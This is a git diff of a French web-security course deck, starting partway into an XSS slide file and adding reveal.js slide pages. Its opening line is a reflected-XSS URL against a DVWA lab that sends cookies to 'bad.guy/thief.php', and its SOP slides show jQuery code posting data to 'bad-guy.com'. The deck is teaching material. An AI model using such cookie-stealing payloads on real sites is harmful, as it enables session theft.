+http://dv.wa/vulnerabilities/xss_r/?name=%3Cscript%3E+location.replace%28%27http%3A%2F%2Fbad.guy%2Fthief.php%3Fcookie%3D%27+%2B+document.cookie%29%3B+%3C%2Fscript%3E +``` + +Note: +- plus ciblée + - nécessite plus d'ingéniosité pour obtenir le clic + - quid de la confiance qu'on accorde au js chargés ailleurs + - on ne les contrôle pas + + +## Browser Hijacking + +* [BeEF - The Browser Exploitation Framework Project](http://beefproject.com/) + * inclusion d'un hook.js + * les naviagteurs connetés à la page se comportent ensuite comme des zombies + * répondent aux payloads qu'on leur envoie + +<!-- .element style="margin: 10px" width="60%" --> + + +## <i class="fa fa-medkit"></i> Se préserver + +* utiliser un moteur de template + * échappe par défaut + +* dans le `php.ini` pour éviter la manipulation des cookies via javascript + +```http +session.cookie_httponly = 1 +``` + + +## <i class="fa fa-medkit"></i> Se préserver + +* échapper / filtrer les entrées + * [htmlspecialchars()](http://php.net/manual/fr/function.htmlspecialchars.php) transforme tous les caractères en entité html + * [htmlentities()](http://php.net/manual/fr/function.htmlentities.php) fait l'opération inverse + * listes blanches + * Web Application Firewall (WAF) + * [mod_security](https://www.modsecurity.org/) + + +## <i class="fa fa-medkit"></i> Se préserver + +* <i class="fa fa-fire"></i> [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) + +* <i class="fa fa-fire"></i> [<i class="fa fa-github"></i> alcuadrado/hieroglyphy](https://github.com/alcuadrado/hieroglyphy) + +* [<i class="fa fa-newspaper-o"></i> permet de convertir le code js en caractères non alphanumériques en le gardant fonctionnel](http://patriciopalladino.com/blog/2012/08/09/non-alphanumeric-javascript.html) + +* coté client + * [<i class="fa fa-firefox"></i> NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript/) est une option + +Note: +- waf pro mode apprentissage avant le lancement pre prod + - mod_security aucun mode apprentissage + + +## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives) + +* En-tête renvoyée côté serveur + * protéger son contenu + * protéger ses utilisateurs + * possibilité de reporting + * quelles tentatives ont été menées + + +## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives) + +```http +Content-Security-Policy: script-src 'self' https://apis.google.com; frame-src 'none' +``` + +* informera le browser que + * seuls les scripts en provenance de la page elle même et de apis.google.com pourront être exécutés + * les balises iframes ne doivent pas être interprétées + + +## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives) + +<div style="text-align: center"> +  +</div> + +* [<i class="fa fa-newspaper-o"></i> Why is CSP Failing? Trends and Challenges in CSP Adoption](mweissbacher.com/publications/csp_raid.pdf) + +Note: +- couvre le cas d'un XSS js dans une balise src +- couvre également le cas d'une iframe qui recouvre une page légitime + + +## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/) + + * concerne *XMLHttpRequest* + * restreint les interactionsaux ressources de même origine + * protocole + "://" + hôte + ":" + [port] + + +## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/) + +protège l'intégrité de la page + +```js +$(function() { // on Load jQuery style + $.ajax({ + url: "http://bad-guy.com/data.php" + }).done(function(untrustedData) { + injectInMyDOM(untrustedData); + }); +}); +``` + +<div style="text-align: center"> +  +</div> + + +## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/) + +protège la confidentialité des sessions + +```js +$(function() { // on Load jQuery style + $.ajax({ + url: "https://gmail.com" + }).done(function(sensitiveData) { + $.post("http://bad-guy.com/data.php", { sensitive_data: sensitiveData }); + }); +}); +``` + + +## [<i class="fa fa-medkit"></i> **CORS**: Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS) + +* contrôler les accès en mode cross-site + * concerne l'échange entre fournisseurs de services +* effectuer des transferts de données sécurisés + * entre sources sûres niveau injection & confidentialité + + +## [<i class="fa fa-medkit"></i> **CORS** Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS) + +le client ajoute automatiquement une en-tête HTTP + +```http +Origin: http://www.foo.com +``` + +le serveur doit ajouter une en tête HTTP d'autorisation pour le domaine + +```http +Access-Control-Allow-Origin: http://www.foo.com +``` + +en-tête d'autorisation pour tous les domaines + +```http +Access-Control-Allow-Origin: * +``` + + +## [<i class="fa fa-medkit"></i> **CORS** Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS) + +* autorise tous les verbes HTTP + * [JSONP](http://igm.univ-mlv.fr/~dr/XPOSE2009/ajax_sop_jsonp/jsonp_presentation.html) n'autorisait que la méthode GET + + * [<i class="fa fa-stack-overflow"></i> Disable firefox same origin policy](http://stackoverflow.com/questions/17088609/disable-firefox-same-origin-policy) + +Note: +- l'introduction de cette nouvelle possibilité implique nécessairement que les serveurs doivent gérer de nouvelles entêtes, et doivent renvoyer les ressources avec de nouvelles entêtes également +- doit être supporté par le navigateur +- la valeur * est possible mais risquée +- requêtes simples, pré-vérifiées avec le verbe OPTIONS, avec habilitations en forcant l'envoie du cookie diff --git a/content/slides/1337/reagir.html b/content/slides/1337/reagir.html new file mode 100644 index 0000000000000000000000000000000000000000..88b0b01ef74dd1a8e5f7eb106c202b4d40436ab1 --- /dev/null +++ b/content/slides/1337/reagir.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>réagir</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/reagir/00_contexte.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/1337/sqli.html b/content/slides/1337/sqli.html new file mode 100644 index 0000000000000000000000000000000000000000..ddd9c32f1d6bbf15c7e2f34ae7b1ec67a5e695c4 --- /dev/null +++ b/content/slides/1337/sqli.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>SQLi</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/sqli.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/1337/top10.html b/content/slides/1337/top10.html new file mode 100644 index 0000000000000000000000000000000000000000..c5c21d8da07ec25562a5959c9b993345d8f29697 --- /dev/null +++ b/content/slides/1337/top10.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>Top 10</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/top10.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/1337/xss.html b/content/slides/1337/xss.html new file mode 100644 index 0000000000000000000000000000000000000000..28c20746f017ea894a824c77137521583ebd0178 --- /dev/null +++ b/content/slides/1337/xss.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>XSS</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/xss.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/index.html b/content/slides/index.html index e004a7b839986300b8fbfa8f6d56eb8345ebd6b7..df3bcef4ecc2ec4b398a446a89c05709b597ef91 100644 --- a/content/slides/index.html +++ b/content/slides/index.html @@ -58,12 +58,7 @@ <li> <a href="1337/sqli.html">SQLi</a> <ul> - <li> - Exploit - <ul> - <li><a href="1337/drupalgeddon.html">Drupalgeddon</a></li> - </ul> - </li> + <li><a href="1337/drupalgeddon.html">Drupalgeddon</a></li> </ul> </li> </ul> @@ -71,11 +66,9 @@ <li> Se protéger <ul> - <li> - <li><a href="1337/top10.html">Top10</a></li> - <li><a href="1337/anticiper.html">Anticiper</a></li> - <li><a href="1337/anticiper.html">Réagir</a></li> - </li> + <li><a href="1337/top10.html">Top10</a></li> + <li><a href="1337/anticiper.html">Anticiper</a></li> + <li><a href="1337/reagir.html">Réagir</a></li> </ul> </li> </ul>